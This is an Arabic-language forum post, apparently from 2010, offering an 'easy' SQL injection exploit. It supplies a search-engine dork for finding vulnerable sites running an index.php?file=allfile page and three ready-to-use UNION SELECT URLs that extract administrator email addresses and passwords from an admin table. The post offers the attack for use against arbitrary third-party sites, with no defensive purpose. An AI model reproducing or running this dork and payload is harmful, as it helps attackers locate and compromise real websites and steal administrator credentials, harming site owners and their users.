ثغرة سكول سهلة و بسيطة مع الاستغلال

[][img]https://2img.net/r/ihimizer/img156/9636/image001m.png[img]


اقدم لكم ثغرة سكول سهلة و بسيطة

اكتشفت في 15.12.2010

دورك البحث

كود PHP:
dork: inurl:"index.php?file=allfile"


راح تجدون الالاف

الاستغلال هيك
كود PHP:
http://www.site.com/index.php?file=allfile&id=-40+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin
-
http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin
-
http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin


لا تقرا و ترحل

ان اعجبكم الموضوع